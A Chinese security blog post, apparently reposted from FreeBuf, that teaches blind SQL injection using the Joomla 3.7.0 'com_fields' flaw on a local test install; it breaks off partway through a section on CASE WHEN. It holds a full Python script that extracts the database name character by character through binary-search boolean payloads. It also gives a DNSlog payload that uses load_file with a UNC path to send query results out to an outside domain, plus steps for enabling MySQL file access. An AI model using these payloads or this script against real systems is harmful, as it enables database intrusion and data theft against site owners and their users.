作者:0aKarmA@D0g3,本文转自FreeBuf,未经许可禁止转载
总结一下自己应对SQL Injection盲注的姿势与和对原理的理解。
本文所有实战盲注例子,均来自Joomla! 3.7.0 - 'com_fields' SQL Injection
由于篇幅有限,本文就不去剖析漏洞原理,直接告知payload插入点,来展现盲注的用法(如有需要可自行寻找各方大佬的研究文章)
注入点:
http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=[payload]
BooleanBase
二分法
优点:
- 比遍历穷举快
缺点:
- 容易被封ip
- 速度慢
原理解析
常用函数:
left(x,y) // 从x的最左侧开始截取前y位
ascii(substr((sql),1,1))=num // 从sql语句返回的字符串的第一位开始,截取字符串的一长度,将其转换成ascii编码,然后与num比较
ord(mid((sql),1,1))=num // ord()==ascii()
regexp '^[a-z]' // 在某些情况下,用正则表达式还是很方便的!
最后只需要将手工测试的过程转换成python用代码自动化实现
实战
直接上代码吧
# -*- coding:UTF-8 -*-
import requests
import sys
# 准备工作
url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1' : 'l1p92lf44gi4s7jdf5q73l0bt5'}
response = requests.get('http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) > 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)',cookies=cookies,timeout=2)
print(response.text)
i = 1
while i <= 7:
left = 0
right = len(string) - 1
mid = int((left + right) / 2)
print('\n')
print(flag)
print('Testing... ' + str(left) + ' ' + str(right))
# 特殊情况
if (right - left) == 1:
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timout=2)
if ('安全令牌无效') in response.text:
flag = flag + string[right]
print(flag)
exit()
else:
flag = flag + string[left]
print(flag)
exit()
# 二分法
while 1:
mid = int((left + right) / 2)
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timeout=2)
# 右半部
if ('安全令牌无效') in response.text:
left = mid + 1
print('left:'+str(left))
# 左半部
else:
right = mid
print('right:'+str(right))
if (left == right):
flag = flag + string[left]
break
# 特殊情况
if (right - left) == 1:
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timeout=2)
if ('安全令牌无效') in response.text:
flag = flag + string[right]
print(flag)
break
else:
flag = flag + string[left]
print(flag)
break
i += 1
print(flag)
DNSLOG
优点:
- 简单,不需要像二分法一样繁琐地一个个遍历
- 快速(相对于二分法而言)
缺点:
- 局限于Windows环境下(UNC路径)
- Mysql版本>=5.5.53就要检查Secure_file_priv这个全局变量是否为空(若为NULL,则不可用,详见)
原理解析
找了国外的paper研究了一波,不懂的就来一波疯狂乱查,然后拿个小本本记下来~~
虽然大概明白是个什么意思,但是计网的dns知识(明年这个时候才学),我。。。有点晕~
然后自己似懂非懂地画了张利用dnslog进行sql盲注的原理流程图,如有不对,感谢各位大佬指正:
UNC路径:UNC为网络(主要指局域网)上资源的完整Windows 2000名称。
格式:\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。(转自百度)所以payload里面的四个'\\\\'和两个'\\\'经过转义后再通过concat函数拼接,就形成了\\test.karmaof.me\123的UNC路径。
payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.karmaof.me\\123'))),1,1)--+
一开始自己搭建测试环境的时候遇到各种玄学问题……
如何查看mysql是否开启了文件导入导出?
mysql>show global variables like '%secure%';
如果secure_file_priv的值为null,则没开启;如果为空,则开启;如果为目录,则说明只能在该目录下操作。
如何修改secure_file_priv?
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
MYSQL新特性secure_file_priv对读写文件的影响
然后重启mysql,再查询secure_file_priv,为空,则已经设置好了。
实战
源码的$query里面带了一层mysqli的escape函数对单双引号等字符进行转义,所以对于dnslog的复现不是很有利,所以我就把过滤去掉了。
但是实践的时候又发现了问题:
查询是正常的,但是,并没有解析到dns记录
然后就做了个愚蠢的试验:
配合报错注入里面的查询,却可以解析到dns记录
后来看到作者用sqlmap跑的payload(DUAL表是一张虚拟表),发现用了一波case when,然后一样可以得到dns记录
但是这里有个疑问就是,尽管后面的句子不会执行,但是else后面的语句一定要加union查询,不加的话,是截获不了dns记录的(估计审一波代码就可以知道为什么了:) )
所以就去搜了一波 CASE WHEN 然后发现它又是一个功能比较强大的东东:)
```mysql
官方定义:
CASE expression
WHEN condition1 THEN result1
WHEN condition2 THEN result2
...
WHEN conditionN THEN resultN
ELSE result
END
总结来说:case when 有两种用法,类似于C语言的 swicth case
简单判断版
mysql> select * from users;
+